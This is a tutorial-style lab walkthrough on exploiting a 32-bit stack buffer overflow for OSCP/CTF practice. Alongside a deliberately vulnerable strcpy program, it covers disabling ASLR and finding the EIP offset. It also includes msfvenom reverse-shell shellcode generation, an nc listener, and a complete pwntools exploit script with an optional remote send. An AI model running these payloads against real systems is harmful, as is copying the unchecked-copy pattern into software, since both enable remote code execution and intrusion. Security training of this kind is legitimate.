๐ŸŽฏ Lab Objectives

  • Understand how the stack and EIP register control program flow
  • Crash a vulnerable program by overflowing a buffer
  • Use pattern generation to find the exact offset to EIP
  • Overwrite EIP to redirect execution
  • Generate shellcode and get a reverse shell
๐Ÿ‘ถ
Buffer overflows are one of the oldest vulnerabilities in computing โ€” but still appear on OSCP and real-world CTFs. Understanding them builds deep knowledge of how programs actually work in memory.

Step 1 โ€” How the Stack Works

# The stack is a region of memory used for:
# - Local variables
# - Function parameters
# - Return addresses (where to go after function ends)

High addresses
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  Parameters  โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  Return Addr โ”‚ โ† EIP (Instruction Pointer)
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค  โ† EBP (Base Pointer)
โ”‚  Saved EBP   โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  Local vars  โ”‚ โ† buffer lives here
โ”‚  buffer[64]  โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
Low addresses (stack grows DOWN)

# Key registers:
EIP โ†’ Points to next instruction to execute. Control this = control execution.
ESP โ†’ Stack pointer (top of stack)
EBP โ†’ Base pointer (bottom of current stack frame)

Step 2 โ€” What is a Buffer Overflow?

# Vulnerable C code:
void vulnerable_function(char *input) {
    char buffer[64];      // only 64 bytes allocated
    strcpy(buffer, input); // no length check! copies everything
}
// If input > 64 bytes โ†’ overwrites saved EBP โ†’ overwrites return address (EIP)

# What happens with a 100-byte input:
buffer[0-63]  โ†’ fills the buffer (normal)
bytes[64-67]  โ†’ overwrites saved EBP
bytes[68-71]  โ†’ OVERWRITES EIP (return address!)

When function returns โ†’ jumps to whatever address is in EIP
โ†’ If we control EIP, we control where code execution goes

Step 3 โ€” Lab Setup

# Install tools
sudo apt install gdb python3 pwndbg -y
pip3 install pwntools

# Install pwndbg (GDB plugin that makes exploitation much easier)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# Compile a vulnerable program for practice:
cat > vuln.c <<'EOF'
#include <stdio.h>
#include <string.h>
void vuln(char *buf) {
    char local[64];
    strcpy(local, buf);
    printf("Hello %s\n", local);
}
int main(int argc, char *argv[]) {
    vuln(argv[1]);
    return 0;
}
EOF

# Compile with protections disabled (for learning):
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vuln vuln.c

# Disable ASLR (address randomisation):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Step 4 โ€” Fuzzing (Find the Crash)

# Send increasingly large inputs until the program crashes

# Python fuzzer:
python3 -c "print('A' * 100)" | ./vuln
python3 -c "print('A' * 200)" | ./vuln

# In GDB:
gdb ./vuln
(gdb) run $(python3 -c "print('A' * 100)")
# Program received signal SIGSEGV (Segmentation fault)
# EIP: 0x41414141 โ† "AAAA" in hex! We've overwritten EIP!

Step 5 โ€” Find the Exact Offset

# Use a cyclic pattern to find EXACTLY which byte overwrites EIP

# Generate a unique 200-byte pattern:
python3 -c "from pwn import *; print(cyclic(200).decode())" > pattern.txt
# or with msf:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200

# Run with the pattern:
gdb ./vuln
(gdb) run $(cat pattern.txt)
# Program received signal SIGSEGV
# EIP: 0x61616173 โ† unique value! Find its offset:

# Find offset in pattern (pwntools):
python3 -c "from pwn import *; print(cyclic_find(0x61616173))"
# 76  โ† offset is 76 bytes

# Verify: 76 A's + 4 B's should put "BBBB" (0x42424242) in EIP
gdb ./vuln
(gdb) run $(python3 -c "print('A'*76 + 'B'*4)")
# EIP: 0x42424242 โ† confirmed!

Step 6 โ€” Controlling EIP

# Find bad characters (chars that corrupt the payload โ€” e.g., \x00 null byte)
# Generate all byte values and look for what gets corrupted:

badchars = (b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e"
            b"\x0f\x10\x11\x12..." )  # etc.

# Find a JMP ESP instruction (redirects to our shellcode on the stack)
# In GDB with pwndbg:
(gdb) info proc mappings    # find memory regions without ASLR
objdump -d vuln | grep "ff e4"   # find JMP ESP (ff e4) instruction

# With pwntools:
from pwn import *
elf = ELF('./vuln')
jmp_esp = next(elf.search(asm('jmp esp')))
print(hex(jmp_esp))
# 0x08048440 โ† address of JMP ESP

# Stack layout of our exploit:
[ A * 76 ][ JMP_ESP address ][ NOP sled ][ shellcode ]
   padding      overwrites EIP    slide        payload

Step 7 โ€” Generate Shellcode

# Generate reverse shell shellcode with msfvenom
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -f python \
  -b "\x00"   # exclude null bytes

# Output:
buf =  b""
buf += b"\xda\xc0\xd9\x74\x24\xf4\x5f\x29\xc9..."
# Length: ~95 bytes

# For Windows targets:
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.100 LPORT=4444 \
  -f python -b "\x00\x0a\x0d"

# Start listener:
nc -lvnp 4444

Step 8 โ€” Full Exploit Script

#!/usr/bin/env python3
from pwn import *

offset = 76
jmp_esp = p32(0x08048440)  # address in little-endian format
nop_sled = b"\x90" * 16   # NOP instructions (slide into shellcode)

# Shellcode (replace with msfvenom output)
shellcode = (
    b"\xda\xc0\xd9\x74\x24\xf4..."
)

payload = b"A" * offset       # pad to EIP
payload += jmp_esp            # overwrite EIP with JMP ESP
payload += nop_sled           # land somewhere in NOPs
payload += shellcode          # execute reverse shell

print(f"[*] Payload length: {len(payload)}")
print(f"[*] EIP overwrite at offset: {offset}")

# Write to file or send directly:
with open("exploit.bin", "wb") as f:
    f.write(payload)

# Or send to network service:
# p = remote("target.com", 9999)
# p.sendline(payload)
# p.interactive()
โœ…
Lab Complete! Buffer overflows are a core OSCP topic. Practice on Vulnserver (Windows), protostar, exploit.education, or TryHackMe's Buffer Overflow Prep room.
Related: Reverse Shells โ†’ โ† All Labs
// guided terminal

Try It Live

Type the commands from the steps above. The terminal simulates the expected output for this lab.

KaliRange ~ Terminal type help for commands